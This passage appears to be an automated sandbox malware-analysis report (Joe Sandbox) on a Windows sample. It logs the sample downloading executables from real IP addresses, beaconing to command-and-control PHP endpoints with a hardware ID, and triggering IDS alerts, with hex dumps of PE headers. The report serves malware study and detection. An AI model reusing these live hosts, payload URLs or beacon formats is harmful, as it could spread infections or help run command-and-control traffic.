00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 68 01 00 00 40 0d 00 00 6a 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 5e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 22:09:33 GMTContent-Type: application/octet-streamContent-Length: 2895872Last-Modified: Mon, 09 Dec 2024 21:07:46 GMTConnection: keep-aliveETag: "67575c22-2c3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 88 b9 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 64 74 76 77 61 6b 66 00 e0 2b 00 00 a0 00 00 00 ce 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6a 6d 69 68 75 61 76 00 20 00 00 00 80 2c 00 00 06 00 00 00 08 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 0e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 09 Dec 2024 22:09:40 GMTContent-Type: application/octet-streamContent-Length: 2895872Last-Modified: Mon, 09 Dec 2024 21:07:48 GMTConnection: keep-aliveETag: "67575c24-2c3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 88 b9 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 64 74 76 77 61 6b 66 00 e0 2b 00 00 a0 00 00 00 ce 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6a 6d 69 68 75 61 76 00 20 00 00 00 80 2c 00 00 06 00 00 00 08 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 0e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013536001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013537001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 44 37 41 33 30 41 32 43 37 41 35 31 39 31 35 33 33 34 32 33 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 2d 2d 0d 0a Data Ascii: ------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="hwid"9D7A30A2C7A51915334237------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="build"stok------HDAFBGIJKEGIECAAFHDH--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013538001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013539001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJKKJJDAAAAAKFHJJDGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 44 37 41 33 30 41 32 43 37 41 35 31 39 31 35 33 33 34 32 33 37 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJJKKJJDAAAAAKFHJJDGContent-Disposition: form-data; name="hwid"9D7A30A2C7A51915334237------IJJKKJJDAAAAAKFHJJDGContent-Disposition: form-data; name="build"stok------IJJKKJJDAAAAAKFHJJDG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49770 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49790 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49781 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49791 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49800 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49814 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49815 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49827 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49821 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49833 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49834 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49842 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49838 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49806 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49852 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49861 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49864 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49868 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49897 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49906 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49880 -> 104.21.48.1:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009EE0C0 recv,recv,recv,recv,

0_2_009EE0C0

Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive

Source: firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
